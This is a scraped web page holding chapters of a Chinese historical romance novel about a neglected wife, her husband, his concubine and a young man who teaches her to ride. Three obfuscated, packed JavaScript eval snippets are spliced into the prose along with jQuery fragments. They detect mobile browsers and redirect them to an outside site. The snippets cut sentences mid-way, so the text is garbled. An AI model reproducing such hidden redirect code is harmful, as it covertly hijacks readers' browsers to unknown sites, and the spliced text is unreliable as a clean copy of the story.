;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17568602|204601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
楼怀玉是看见了她受伤的手。
他没有主动去询问,就是想要让她主动对自己开口,依赖他一回,和他撒个娇。
可她一声不吭的模样,完全令他心生不悦,以至于当没有看见她掌心的伤。
很快,饭菜端了上来。
谢知虞正要去属于她的位置坐下,冷不防被握住手腕,拉着在楼怀玉身旁坐下。
许拾安为客,坐在对面。
楼怀玉夹了一筷子菜到她碗里,“我记得夫人很喜欢这道菜。”
吃饭的时候,从未享受过他给自己夹菜的谢知虞心脏快要跳到嗓子眼,唯恐他是察觉到了什么,“多谢夫君。”
但是在看见夹进碗里的鸡块,不知道夫君是不是忘了,她从来不吃加了香菜的菜。
“赵老板和令夫人真是感情极好。”许拾安目睹着这一幕,没由来感到心口堵得慌,更多的是嫉妒。
那种想要把他取而代之的嫉妒。
“我夫人年纪小,我身为丈夫自然得要多照顾她一二。”楼怀玉见她迟迟没有动自己夹给她菜,正要出声。
谢知虞只能忍着不喜,把他夹进碗里的鸡块吃掉。
谢知虞不知道他们这一顿吃得怎么样,反正她是吃得食不知味,唯盼求快些结束。
“许公子下次想来府上做客,可提前说声,我和夫人好准备。”
“一定,何况赵老板府上的饭菜甚合我胃口,就怕以后我来蹭饭的次数多了,赵老板不要嫌我才行。”
“怎会。”
等人走后,一直在旁默不作声的叶从安问:“主子,可要属下去查下他?”
“不必。”
许拾安骑马回去的路上,难免忧心那个男人是不是看出了什么。
可他并不觉得自己做错了,他对自己夫人不好,凭什么不能让别人对他夫人好。
谢知虞在丈夫亲自送许拾安出去后,才惊觉自己不知何时出了一身冷汗,身上黏糊糊的极为不适,就让下人抬了热水进来给自己沐浴。
人刚浸入温热的水里,落地屏后就有脚步声走来,微凉的指尖搭上她的肩,令人激起满身鸡皮疙瘩,“夫人没有忘记我之前说的话吧。”
“夫君说的,妾身一直记得。”谢知虞不知道他到底是知道了,还是
“岁岁,你不是最听夫君的话吗。”
12. 第 12 章
谢知虞抬头看了眼天空,今天是阴天,并没有太阳,就连拂面而来的清风都透着徐徐凉意。
她知道他是为开玩笑缓解气氛,并不在意地抬手指向最角落里,一匹高大健壮得和其它马格格不入的枣红马,“我选这匹。”
这只马像极了当年那只小马驹长大后的样子,它长大了,应该就是这般威风凛凛。
许拾安并没有泼凉水说这马不合适初学者,反正有他在身边看着,还能让马伤了她不成,眸光里全是赞许,“夫人有眼光,这匹马也是我一开始选中的,没想到我们两人眼光一致。”
谢知虞抚着马儿的动作愣了一下,嘴角漾起浅浅的笑,“我还以为,你会说这马不合适初学者,最好让我换一匹。”
“只有教不好的夫子,不会有骑不了的马。”许拾安顿了下,耳根泛红不敢直视她,捏了下耳垂,“更没有教不会的学生。”
选好了马,许拾安就带她到无人的空旷草地。
许拾安想到她是第一次骑马,本想要找个凳子让她踩上去,或是自个先让马前膝下跪在地时,就看见她一手拽着缰绳,一只手拽住马髻甲毛,左腿曲起,右脚蹬地踮起脚尖踩镫就要爬上马背。
她的动作称不上美观,甚至称得上是滑稽。落在许拾安眼里却可爱得像小猫伸出软乎乎的爪子,正颤着耳朵,踮起脚尖在奋斗的努力爬墙。
谢知虞踮起脚尖,踩上镫想要往上爬,又因马高和羞耻感作祟,导致脑海中不合时宜的想起许拾安指着那些个头稍矮的马驹,说,“夫人,这些小马驹和体型偏小的滇马和果骝比较合适初学者。”
虽知道那些才最合适初学者,她却对这匹枣红色一见钟情。
马是她选的,她就要坚持到底,万没有半途而废的道理。
否则连上马都做不到,又谈何做到骑马。
许拾安想要上前帮她,只手刚伸出就指尖蜷缩着收回,她一直没有开口让自己帮忙,应该是想要凭借自身努力踩镫上马,他万不能做了讨人厌的存在。
此时的许拾安褪去了一贯的随意散漫,换上严肃的认真,“抬起左腿,左脚掌从马蹬外侧踩入蹬内,脚尖向下压,位于肚带下方,注意不要触及马体。右手抓住后鞍桥右侧,右脚用力蹬地,借助右脚掌的弹力和两臂的力量往上爬。”
谢知虞按照他说的办法,掌心冒汗的再次爬上马背,又因为马突然往前走了一步,吓得僵住不敢乱动,就连戴着的帷帽都歪斜到一边。
也庆幸她戴了帷帽,要不然他肯定能看见自己羞耻发红的脸。
“马有我控制,你不要怕。骑马要做的第一件事就是不要怕,夫人记住你要征服身下的马,你即是马的主人。”许拾安一句话,堪比一颗定心丸喂给了谢知虞。
“上马的时候身体要稳,不要晃,更不要慌,万事有我。”
谢知虞脑海中盘旋着他教的方法,咬得舌尖吃疼地抬起左腿踩入蹬内,站稳后脚尖向下压,身体平稳不晃后借住左脚的支撑往上爬,抛开女子不能在外大迈步张腿的作祟羞耻感。咬牙迈开右腿翻过身坐在马背上,两手攥着缰绳慢慢稳住身形。
迎面吹来的风掀起帷纱一角,满鼻草清香迎面而来,鼻间沁出的薄汗是她成功的勋章。
她成功了,她依靠自己的努力成功坐上马背了。
谢知虞真正坐上马背的那一刻,惊觉所有的想象都不如此刻的落实来得心湖澎湃。看向正为自己牵着缰绳的少年,眉眼弯弯,“许夫子,多谢你,你果真是最好的夫子。”
目视着前方的谢知虞甚至在想,要是换成夫君,他是否也会那么耐心的教自己骑马?
“不,不客气。”牵着马缰绳的许拾安听到“许夫子”三字,整个人晕乎乎的快要找不着东南西北,脸爆红得像秋日枝头上挂着的红彤彤甜柿,是否令人怀疑甜度高得下一刻就要裂开。
早知道今天天气那么热,他就不应该约她来骑马了。
许拾安在她坐上马背后,化身马夫带着枣红马往前走,比他第一次骑上马还要骄傲,“夫人,我就说你是我见过最有天分的一个学生。”
“还不是夫子教得好,朽木化神奇。”骑在马背上的谢知虞跟着他的步伐往前走,眼眸半眯感受着微风拂面而来的惬意,连她的胆子都开始一点点变大,不再满足于被牵着骑马散步。
“我想学着自己骑下马,可以吗?”
“自然可以。”许拾安松开牵着缰绳的手,退到一侧,“你先试着自己控制缰绳往前走,等习惯了就一点点加速度,不要想着一来就让马跑起来。”
骑马就像增肥一样,得要小口小口循环渐进的吃,不是一口就能吃成个大胖子。
“我知道的,许夫子放心就好。”谢知虞在他放手后,还没等她夹紧马腹,试图往前迈开。
身下马儿已不耐烦的前蹄刨地,鼻孔喷着白气就要往前狂奔,导致她身体因力的惯性往后仰,要不是手牢牢抓紧缰绳,心脏狂跳的谢知虞怀疑自己毫不意外会被甩下马背,“停下,你快停下。”
原来马无了束缚要跑起来的时候,跑动和走动完全是不同的两种状态。
“背挺直,核心稳,握紧缰绳,双腿夹紧马腹试着往前走两步。就像我前面说的那样,不要怕,更不要慌。”当马跑起来的那一刻,许拾安的心亦不安的跳到了嗓子眼,生怕她不小心会摔下马,人却没有上前,只是再次拉住牵制马的缰绳,不让马跑起来过快把人甩下马。
她这一步迟早是要依靠自己往前迈的,哪怕他会一辈子帮她牵马。
“我………”整个人往前趴的谢知虞就差抱着马脖子不撒手,睁开眼看了下脚边。
好高。
缰绳被拽住,导致不得一直在原地打转的马鼻孔喷出两管白气,暴怒的要把背上的人给甩下来。
马的左右摇摆,导致本就不太稳的谢知虞身体突然往后倒,两只手紧攥着缰绳才侥幸没有摔下马。
不行,她现在得要控制马才行,要不然她迟早会被甩掉的。
“抓紧缰绳,腰部要稳!记住我教你的,千万不要慌。”一旁的许拾安看得心惊胆战,掌心都冒出了细密薄汗。
马感受到身上的人开始试图驯服自己,烦躁得摇头摆尾要把这个不自量力的人甩下来,蹄子践踏成肉泥。
就在谢知虞掌心被缰绳勒出血,身体晃动得快要从马背上甩下去,一道宽厚富有安全感的胸膛贴上了她后背,接过了她控马的缰绳。
当后背抵上男人胸口时,惊慌无措的谢知虞忽然明白了何为安心。
但此刻的两人太近了,近得她不但能听见他的呼吸声,就连他身上阳光般的干爽气息都在一寸寸掠夺着她的空气。这是她除了夫君以外,第一次和个陌生男人靠那么近。
她应该厉声呵斥让他离自己远点,让他马上滚下去,偏生她又贪心这一抹安心。
许拾安从她手中接过缰绳,他知道自己的行为称得上越界了,在控制了马后就应该马上下去。他却舍不得,只是默默往后退拉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575736|204601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开彼此距离,嗓子发哑得厉害,“夫人要是害怕的话,可以靠在我怀里。”
“不用。”当他身体离开时,谢知虞心中有过一丝莫名的失落,随后是对自身的厌弃。
难道她天生水性杨花吗,要不然怎会和除了夫君以外的男人靠得如此近,还不为此感到羞耻。
当身下的马开始往前走时,谢知虞感受到自己的心越跳越快,快到好像要控制不住了,就连脑子都是乱糟糟一片。
“夫人,目视前方,不要低头。”许拾安低沉覆有磁性的声音于耳边响起,连带着谢知虞的心跳声都漏了一拍。
迎面吹来的风是凉爽的,谢知虞却感觉不到半分凉意,有的只是脸被烧得通红。
突然明白了,为什么他说今天天气热,确实很热。
当马不再满足这种慢吞吞的步伐,再次扬起马蹄往前狂跑的时候。
谢知虞握着缰绳的手被另一双白皙修长,指节如竹的手覆上手背,在她没有第一时间抽离时。
那只手就像墙边的夕颜藤得寸进尺的一点点缠上杆子,随之攀爬,再一点点收紧,渗进她的指缝,五指贴紧她手背,和她密缠得不留一丝缝隙。
当他的掌心覆上自己手背时,谢知虞心似跳到嗓子眼,第一反应应该是把手抽走,并大骂他是个下流登徒子。
这一刻的她没有把手抽走,反倒是放任这种心脏攥紧,又似鸟逃出笼的情感在蔓延。
就让她稍微贪心一回,让她抛弃从小到大的枷锁任性一回。
许拾安本意是要去拉缰绳的,唯独没想到会握住她的手,他应该及时把手移开,在诚恳的和她道歉。
但当她的手没有离开,仅是指尖往里蜷缩时,浑身紧绷的他心跳如鼓,像做贼一样抚上她手背,五指贴近她指间,慢慢往下挤进她指缝,用自己过高的体温捂暖她冰冷的手,又在她指尖蜷缩着,怯着想要逃离时从上而下的扣住她手背,抚着,压着,强势的和她十指紧扣。
许拾安从不认为自己是个孟浪的登徒子,今日却做尽了登徒子的孟浪之举。
身下的马儿在往前狂奔,带动的颠簸让两只手握得交缠,偏那样轻,那样痒。
风在吹,草在动,树在响,唯独脑袋空白一片。
直到远处有马蹄声传来,谢知虞才如梦初醒的把手抽回,“许公子,我已经学会了,我想自己试一下。”
许拾安耳尖爆红发烫的松开她手,翻身下马,羞愧得握拳置于唇边轻咳一声,“夫人,你就按照我刚才教的法子,记住稳这个核心点。”
“好,我知道了。”亦不敢看他的谢知虞抿了抿唇,挺直脊背,双腿夹紧马腹,试探着往前走去。
“记住,不要紧张,万事有我。”许拾安没有拉着缰绳,伴随左右注意着她的动作,“往前走,等适合这个速度了就慢慢加。”
没了他在旁边牵着缰绳,双手握紧缰绳的谢知虞深吸一口气后,才双腿夹紧马腹的慢慢加快速度,等合适这个速度后,再一点点往上加。
就像雨水渗透进掌心,一点点滋润着干涸的土地。
终于在自己独自跑完一圈后,激动得冒汗的谢知虞忍不住转过身,对着远处的他,扬起手和他分享着喜悦,“许夫子,我能跑完一圈了。”
携带着青草香的微风吹起她的帷纱一角,露出一张两腮晕染胭脂,一路蔓延眼梢又闪闪发光的脸。
刹那间,许拾安的心脏像是被一根细线牵动,下意识的抬手压住胸口,好掩盖那抹悸动。
13. 第 13 章
楼怀玉将人追回后,就想到了被他扔在原地的妻子,不再理会仍在拿乔等着自己来哄的叶采萱,调转马头就往后走。
叶采萱在他追上来时,气已经消了大半,还想着再让他说几句好话哄下自己,结果他居然转身就走,重新气得不行,攥得缰绳的手攥得咯咯作响,“你现在就要回去找她,那你还追上来做什么。”
楼怀玉头都没回,“她是我明媒正娶的妻子。”
“行啊,那你去找你妻子,来找我做什么,让我死了不是更好。”牙根紧咬的叶采萱忍不住委屈得拔高音量,“你说好只让带我一个人来跑马场的,你现在带她来气我就算了,现在还要为她把我扔下来吗。”
楼怀玉适才转过身,漆黑的瞳孔好似照不进一点光亮。他没有忘记她刚才当着自己的面,拿鞭挥向妻子,眸色骤沉带着凌厉,“我为何不记得,何时说过只带你一人来跑马场。”
他从不会轻易做承诺,何况是那些一看就无理取闹的承诺。
叶采萱笑容僵硬,随后略显心虚的咬着唇,“你明知道跑马场对我的意义非凡,你也没有否认过以后只带我一个人去跑马场,那不就是默认了吗。”
“我当真是默认吗。”男人语调平缓,却令人后脊发寒。
更让叶采萱猛地回想起来,自己当时仗着得宠说了后,他看着自己的目光冰冷幽深得好似照不进光亮,最后更是直接离开。
后面的一个多月他都没有再来寻自己,要不是奶嬷嬷给出了主意,她怕是真的会遭了厌弃。可他待自己实在太好,好到让她将这一段记忆美化成对她有利的存在。
叶采萱头皮发麻,心跳如鼓的软着调子不敢再拿乔,“好了,我知道是自己说错话了,等下回去和她道歉还不成。”
“你确实得要向她道歉。”
楼怀玉回来时,看见的是自己的妻正对着另一个男人笑得明媚。
这样的笑,从未对他展露半分。
叶采萱在旁幸灾乐祸,“你眼巴巴赶回来教她骑马,某些人心里又不缺你一个教骑马的。”
“闭嘴。”下颌线条绷紧的楼怀玉眸光沉沉的盯着和妻子说话的少年,随即嗤笑一声。
他妻子是个什么性子的人,他在清楚不过。何况妻子是不可能会瞧得上这种幼稚的黄毛小儿。
不过令他惊讶的是,原来他的小妻子是会骑马的,他以为她不会骑,今天正好教她骑马,内心不禁划过一抹失落。
谢知虞见到纵马而来的楼怀玉,还有跟在身后的叶采萱,面上笑意散去,换上一贯挑不出错的温和浅笑,“夫君,叶姑娘,你们回来了。”
许拾安闻声抬起头,见到骑马并肩而来的一男一女,那日好友在耳边的话又一次浮现在耳边。
既然他给不了她幸福,给她幸福的那人为何不能换成他?
最起码他能保证日后只守着她一人,绝不会做出为了另一个女人把她抛下,还任由她被别人欺负的事情发生。
yu念涌显,犹如藤蔓肆无忌惮。
谢知虞见夫君回来了,正踩蹬要下马,前面本就被晃得东倒西歪的帷帽忽然被一阵风追起卷走。
许拾安仗着身高腿长立马抓住了快要飞远的帷帽,转过身递给她,“夫人,你的帽子。”
“谢谢。”伸手去拿帽子的谢知虞心虚得根本不敢看他,更不敢和他目光直视。
楼怀玉上前从他手里接过帽子,“多谢许公子,许公子怎么一个人在这里?”
许拾安双手抱胸,带着桀骜不驯的嗤笑一声,“我倒是想要问赵老板一句,你将你夫人独自一人扔在这里,就不怕会出现什么意外吗。”
余光又扫向一旁的叶采萱,讥讽道:“这为了别的女人把自己妻子抛下的男人,我生平还是第一次见。”
“夫君,刚才是许公子见我一个人在这里,所以过来寻我说几句话罢了。”下意识的,谢知虞隐瞒了他教自己骑马一事。
“玉郎,我肚子饿了,我们去吃饭吧。”叶采萱眼珠子乱转的先是落在谢知虞身上,随后是许拾安,挽过楼怀玉的手臂,做足女主人姿态,“这位公子要是不介意,不妨一起来吧。”
谢知虞没想到叶采萱会主动邀请自己吃饭,还邀请了许拾安,她下意识看向丈夫。
楼怀玉不动声色地抽回被叶采萱抱住的胳膊,像是纵容她的胡闹,“许公子意下如何。”
“好啊,我正好肚子饿了。”许拾安没有任何不好意思,反倒是极为熟稔,“你们要是没有想好吃什么,我倒是能推荐一家馆子。”
谢知虞没有说话,而是隔着帷纱看向楼怀玉,随后越过他看向他身侧的叶采萱。
也是,只要是她想要的,他都会尽全力答应,何况只是吃一顿饭。
楼怀玉指腹摩挲着白玉扳指,眼皮微掀带着试探,“许公子倒是对扬州很了解。”
“我在这里生活了一段时间,虽比不上土生土长的本地人,也比外乡人好些。”许拾安双手抱胸,眉眼间的鄙夷满得快要溢出,“要不是赵老板之前介绍过你夫人,我还以为你身边那位才是你夫人。”
他们当着自己这个外人的面都敢在她面前拉拉扯扯,私底下说不定更过分。
这样三心二意,宠妾灭妻的男人如何配得上她。
谢知虞从他们的对话中,隐约听出了藏着的火药味,又疑心应该是自己想多了。
许拾安推荐的饭馆并非在城里,而是在马场附近,江南水多,这间饭馆亦是依水而建。
小二灰毛巾往肩上一搭,笑着搓手迎上,“许公子,还是和之前一样,二楼雅间是吗?”
许拾安点头,跟着小二上了二楼雅间后,就把菜单递给谢知虞,“你们看下有什么想吃的,或是忌口的。”
谢知虞正要把夫君身边的位置让给叶采萱,就被夫君拉着手腕坐下,“夫人不坐我身边,想要坐哪。”
叶采萱端着正宫架势,正要拉开他身边的凳子坐下,凳子先一步被他拉开,还没等她心中窃喜,位置就跟着被人给占了。
谢知虞手腕被拽着坐下,侧过脸轻声道:“夫君,我坐了你身边,叶姑娘坐哪。”
他们两人才刚和好,谢知虞不希望他们再因这点儿小事而争吵。
楼怀玉倒了一杯茶水给她,颇有几分无奈道:“岁岁,你才是我妻子。”
“是啊,她才是你妻子,我就是个无关紧要的人呗。早知如此就不应该跟着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17578784|204601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来,免得碍了眼。”位置被抢的叶采萱心中无不恶毒的想。
刚才那一鞭子怎么没把她给抽毁了脸,否则也不会留着她恶心自个。
“道歉。”楼怀玉眼眸半眯,透着凌厉,“你确实欠我妻子一个道歉。”
叶采萱顿时气得涨红了脸,她前面只是随口一说,没想到他真的让自己给她道歉,还是当着个外人的面。
让自己和她道歉,和让自己认输有什么区别!
“夫君,叶姑娘先前应是无意的,道歉就不必了。”谢知虞接过菜单后,点了几道夫君爱吃的清炒虾仁,蛤蜊豆腐汤,盐水鸭,清蒸鲈鱼,随后把菜单递给楼怀玉,“夫君,叶姑娘,你们看还要添点什么?”
谢知虞清楚所谓的道歉根本不可能有,即便有,夫君也不会舍得让他心上人受了委屈。
“算你识相。”略显得意的叶采萱先一步拿过茶单,翻来覆去看了几遍,不悦道:“怎么没有锅包肉。”
小二早已习惯客人点菜单上没有的食物,“小店是没有锅包肉,客人不妨看看其它的。”
“这没有那没有,你们开什么饭馆啊。”
许拾安没有一点惯着她,白眼一翻,“你来到一个卖包子的铺子非要人家给你拿烤鸭,你不觉得是在强人所难吗。”
更觉得这赵老板眼光真差,放着那么好的妻子不要,偏要宠个登不上台面的姨娘。
谢知虞眼见他们两人就要吵起来了,忙出声打圆场,“我记得叶姑娘口味偏甜,这道松鼠鳜鱼和桂花糖藕看起来倒是不错。”
许拾安指腹摩挲着茶盏边缘,忽而抬眸问起,“夫人,你点了他们喜欢吃的,不点几道你喜欢吃的吗?”
在庙会时,他见她吃了两块芥辣瓜旋儿,其它的都没有怎么吃,猜测她口味应该偏辣,可点的这些菜不是酸甜口就是清淡,没有一道是她所喜欢的。
这是第一次有人问谢知虞她喜欢吃什么,心脏骤停间,指尖无意识地轻轻捏紧了袖口。
谢家认为重油重辣吃多了会使人变得蠢笨,木讷,所以餐桌上的饭菜永远都是清淡口味。
嫁入东宫前,母亲就说过夫君是个口味清淡的人,以至于厨房里煮的饭菜永远都是清淡口味。因为无论是下人们,还是夫君都默认他们的口味是一致的。
谢知虞压下内心浮现的细微悸动,眼睑半垂落下小片阴影,“夫君喜欢吃的,便是我所爱吃的。”
“骗子。”许拾安心里暗骂了一声,又让小二添了几道菜,一道是辣子鸡,一道是麻婆豆腐还有酸菜鱼。
等小二端着菜上桌后,谢知虞看着其中两道裹着红彤彤辣椒的辣子鸡,麻婆豆腐,还没吃进嘴里,口腔里就不断滋生唾液。
她都快要忘了,距离上一次吃到这些是在什么时候。
“这些都是这家店的特色菜。”许拾安让小二把麻婆豆腐和辣子鸡放在谢知虞面前,“菜看起来辣,吃起来不会很辣,你们吃习惯了清淡口味的正好试一下。”
叶采萱吃了几口菜后,就放下筷子,眼神暧昧的在他们两人身上流转,捂唇轻笑,“夫人,你和这位公子是怎么认识的,瞧着你们二人熟稔的程度,不知情的还以为你们才是夫妻。”